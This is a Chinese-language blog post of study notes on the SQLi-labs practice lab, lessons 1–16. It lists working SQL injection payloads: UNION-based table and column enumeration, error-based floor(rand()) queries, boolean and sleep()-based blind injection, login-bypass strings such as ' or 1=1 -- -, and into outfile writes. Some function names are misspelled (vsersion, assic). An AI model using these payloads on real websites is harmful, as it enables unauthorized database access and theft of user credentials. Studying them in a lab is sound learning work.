溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Sqli labs學(xué)習(xí)筆記

發(fā)布時間:2020-07-13 10:14:54 來源:網(wǎng)絡(luò) 閱讀:582 作者:ToAlice 欄目:數(shù)據(jù)庫

Lesson01:

        字符型注入

               地址欄加上 ?id=5' and '1'='1 測試通過

                    地址欄加上 ?id=5'  (此處可加上惡意sql語句)--+ 測試通過(注釋的方法)   

       

Lesson02:

        數(shù)字型注入

                id=5-2 返回和 id=3一樣的結(jié)果,說明是數(shù)字型的注入

                     id=2 (此處可加上惡意sql語句) --+


PS: 有的sql查詢語句會在后邊加上limit(0,1),只返回第一條有效的查詢結(jié)果,在這里我們可以通過設(shè)置前一個正常的id的值無效,來使得最終結(jié)果來返回我們構(gòu)造的語句的返回值。


Lesson03:

            id=5 and 1=1
                id=5 and 1=2   沒有什么變化       

                id=3'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1


說明原來的sql的語句中有 ) , 閉合的方法是再添加一個)

                利用: 1.  id=1') and  ('1'='1

                           2.  id=1')  sql語句   --+


Lesson04:

    基于雙引號的字符型查詢,和lesson03差不多


    1.order by 查詢字段數(shù)

    2. database() 查詢當(dāng)前數(shù)據(jù)庫名字

    3.user() 當(dāng)前用戶

    4. information_schema.tables   存放所有的表名 (mysql)

   5.union select 1,table_name,3   from information_schema.tables where table_schema='security'  limit 4,1 --+ 

    這個是查詢數(shù)據(jù)庫里邊有哪些表,使用limit語句來顯示返回第幾個查詢結(jié)果


    6.  union select 1,column_name,3   from information_schema.columns where table_name='users'  limit 2,1 --+     查詢users表中,各個列的名字(字段名)


    7.union select 1,group_concat(column_name),3   from information_schema.columns where table_name='users' and table_schema="security"  --+  

    也可以這樣,使用group_concat(column_name)來返回所有的字段名



Lesson05&06:

        基于錯誤的注入:

and ( select 1 from (select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)b)--+


rand() 獲取0-1之間的一個浮點隨機數(shù)

floor() 取地板操作

group by 根據(jù)...分組

concat() 字符串連接

count() 計數(shù)函數(shù) 

1.

(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a 

這個表示給查詢結(jié)果(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))

取一個別名a

2.

(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)b

這個表示給查詢結(jié)果(select  count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)取一個別名b

3.

and ( select 1 from (select  count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables  where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables  group by a)b) --+

這一句就可以查詢出數(shù)據(jù)表的名字....



lesson07:
   select * from Table into outfile '/路徑/文件名'



Lesson08:

         基于bool的盲注:  

         

            substr(String , int x,  int y) 把字符串從x到y(tǒng)截取下來

            ascii( char )  返回assic碼值


Lesson09&10:

         基于時間的盲注:   根據(jù)一些時間函數(shù),來自控制結(jié)果的返回時間,以此來判斷自己的推斷是不是正確的,由于web界面的返回值始終是true,只能通過時間差來判斷。

            sleep(n)  進(jìn)程掛起n秒

            if(1,2,3)  如果1則2,否則3 

          and (select if(assic(substr(database(),1,1)) , sleep(5),NULL)  ) --+ 



 Lesson11&12:

get  post  注入

常用的“萬能密碼”:   ' or 1=1 -- -

                                   ') or 1=1  

                                    'or'='or'

         登錄:  ' or 1=1 limit 0,1  #  密碼隨便輸入就行

                          但是使用  --+ 來注釋的時候不知道為啥 密碼必須是 ' or 1=1 


lesson12    就是  (“input”) 這種類型的



 Lesson13&14:

                    基于錯誤的注入:

       lesson13               ‘) 注入語句#
 

mysql常見的系統(tǒng)函數(shù)及變量:

            user() 用戶名 session_user() 連接數(shù)據(jù)庫的用戶名  database()數(shù)據(jù)庫名   vsersion()版本

             curren_user 當(dāng)前用戶名   @@hostname主機名  @@port 端口  @@datadir 數(shù)據(jù)庫路徑

           @@basedir 安裝路徑  @@vsersion_compile_os 操作系統(tǒng)

 

Lesson15:

         1'  or  盲注


Lesson16:     

     盲注(時間)                     

       1") or sleep(1)

       1") or sleep(1)=0      (因為sleep函數(shù)的返回值是0)使用or的時候要注意





















1.
select username,password from tables where id='input' limit 0,1
   ' and 1=1 --+
   
   
2.
select username,password from tables where id=input limit 0,1



3.
select username,password from tables where id=('input') limit 0,1


4.
select username,password from tables where id=("input") limit 0,1

5.
?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b )--+


6.
1" --+

9.
?id=2'  and sleep(5)--+

10.
?id=2"  and sleep(5)--+
?id=2"  and if(database()='security',sleep(5),NULL)--+


11.
uname=ain' union select 1,database() -- -&passwd=admin&submit=Submit


13.
輸入的類型是('input')
uname=') and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b )  -- -&passwd=admin&submit=Submit

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI